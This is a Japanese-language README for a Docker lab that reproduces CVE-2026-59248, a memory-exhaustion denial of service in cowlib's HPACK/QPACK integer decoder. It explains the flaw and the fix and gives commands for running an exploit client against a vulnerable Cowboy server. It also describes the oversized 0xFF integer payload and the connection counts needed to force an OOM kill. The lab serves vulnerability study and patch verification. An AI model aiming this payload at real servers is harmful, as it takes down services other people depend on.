
CVE-2026-59248 のための再現可能な Docker ラボ: cowlib における HPACK/QPACK 整数デコーダのメモリ枯渇 DoS で、エクスプロイトクライアント、Cowboy サーバー、Grafana メトリクスを備えています。
ninenines の cowlib(≥ 2.0.0、< 2.19.0)におけるリソース制限の脆弱性により、認証されていないリモートの HTTP/2 または HTTP/3 ピアが脆弱なサーバー(またはクライアント)上のメモリを枯渇させ、サービス拒否を引き起こすことが可能です。
HPACK および QPACK のプレフィックス付き整数デコーダー
cow_hpack_common:dec_big_int/3(src/cow_hpack_common.hrl、cow_hpack:decode/2 および cow_qpack:decode_field_section/3 から呼び出される)は、上位ビットがクリアなオクテットが見つかるまで継続オクテットを読み取り、各ステップで Int + (Value bsl M) を評価します。このときシフト量 M はオクテットごとに 7 ずつ増加します。継続オクテットの数、結果として生じるビット幅、または値に対する制限は一切ありません — デコーダーはピアが供給するエンコード長をそのまま消費します。Erlang の整数は不変であるため、各中間 Value bsl M および各アキュムレータの更新は、処理済みオクテット数に比例して桁幅が増大する新しい bignum を割り当てます。デコード全体で合計すると、一時的な割り当てはエンコード長に対して O(n²) となります。
Cowboy のデフォルト max_frame_size_received の範囲内で、1 つの HTTP/2 HEADERS + CONTINUATION フレームペアに含まれる単一の最大サイズの HPACK インデックス表現は、結果のヘッダーテーブルインデックスが無効として拒否される前に、数百メガバイトの一時的な割り当てとガベージコレクションの頻発を強制する可能性があります。接続の繰り返しや同時接続はプレッシャーを倍加させ、Erlang VM をメモリ枯渇に追い込む可能性があります。
Cowlib は Cowboy、RabbitMQ の管理プラグイン、その他の Erlang/Elixir 製 HTTP/2 および HTTP/3 サーバーやクライアントで使用される HTTP パーサーであるため、信頼できないピアから HPACK または QPACK を受け入れる公開エンドポイントはすべて到達可能です。
修正: cowlib 2.19.0 は dec_big_int/3 に when M < 32 ガードを追加し、少数のオクテットの後に過大な整数を拒否します。
このラボは、実際の Cowboy サーバーに対して攻撃(preface → SETTINGS → HEADERS → CONTINUATION で過大な 0xFF… HPACK 整数を使用)をリプレイし、BEAM のメモリスパイクを Prometheus/Grafana でキャプチャします — パッチ適用の前後で。
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
Cowboy は特定の cowlib バージョンを固定しています: cowboy 2.17.0 は脆弱な cowlib 2.18.0 を同梱しています(cowboy 2.18.0 は修正済みの cowlib 2.19.0 を同梱しています)。このラボでは override: true で cowlib を強制しているため、脆弱性→修正のデモは server/mix.exs の1行の変更で済みます。
| サービス | URL |
|---|---|
| Cowboy サーバー | http://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c) |
| サーバー /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000 (admin / admin) |
Grafana ダッシュボード 「cowlib 2.18.0 HPACK memory DoS」 は自動プロビジョニングされます(データソースやパネルの手動設定は不要です)。
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
ポート: このスタックはホストの
8080(Cowboy)、9090(Prometheus)、3000(Grafana) を公開します。起動前にこれらが空いていることを確認し、 毎回docker compose run --rmでエクスプロイトクライアントを再実行してください — Compose サービスは一度実行して終了します。
| 変数 | デフォルト | 効果 |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | HPACK 整数内の 0xFF オクテット数 (512 KB 爆弾。サーバーの max_fragmented_header_block_size は最大 1 MB を許可)。 |
NUM_CONCURRENT | 100 | 同時非同期接続数 — 各接続は ATTACK_KEEPALIVE_SECS の間デコードを続けて生存します。サーバーコンテナを確実に OOM (1g を超える) させるには 200 以上に増やしてください。 |
SOCKET_TIMEOUT | 15 | 各接続ハンドシェイクの秒数 |
ATTACK_KEEPALIVE_SECS | 60 | 送信後、各接続が生存し続ける時間 |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | ターゲット |
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
サーバーの
max_fragmented_header_block_size(1 MiB) を超えるペイロードはデコーダーに到達する前に拒否され、その後クライアントは 閉じられた接続上でsocket.send() raised exceptionを目にします。PAYLOAD_CONTINUATIONSを ~1,000,000 以下に保つか、server/poc_server.exsの上限を引き上げて(そして再ビルドして)一致させてください。
server/poc.exs)poc.exs は :cow_hpack.decode/2 を直接実行します — TCP もポートバインディングもなし —
そのため、稼働中のサーバーの隣でも単独でも実行できます。これは
0xFF + 0xFF×N + 0x00 を max_heap_size の上限を設定したデコーダープロセスに送り込み、
整数がシフトされている間の進捗をログに記録します。
# rebuild once so the file is baked into the image
docker compose build cowboy-server
# run it (safe while cowboy-server is up — it binds nothing)
docker compose run --rm cowboy-server mix run poc.exs
# or inside the running container:
docker compose exec cowboy-server mix run poc.exs
| 変数 | デフォルト | 効果 |
|---|---|---|
PAYLOAD_CONTINUATIONS | 100000 | 0xFF オクテットの数 |
HEAP_WORDS | 1000000 | 子ヒープの上限(ワード単位、各 8 B) |
SAMPLE_MS | 50 | ヒープ/メモリのサンプリング間隔 |
LOG_EVERY | 5 | N 回ごとのサンプルをログ出力(1 = すべて) |
TIMEOUT_MS | 30000 | デコードのハード上限 |
VERBOSE | 1 | 0 サマリー、1 サンプリング、2 すべてのサンプル |
省略版の出力(cowlib 2.18.0):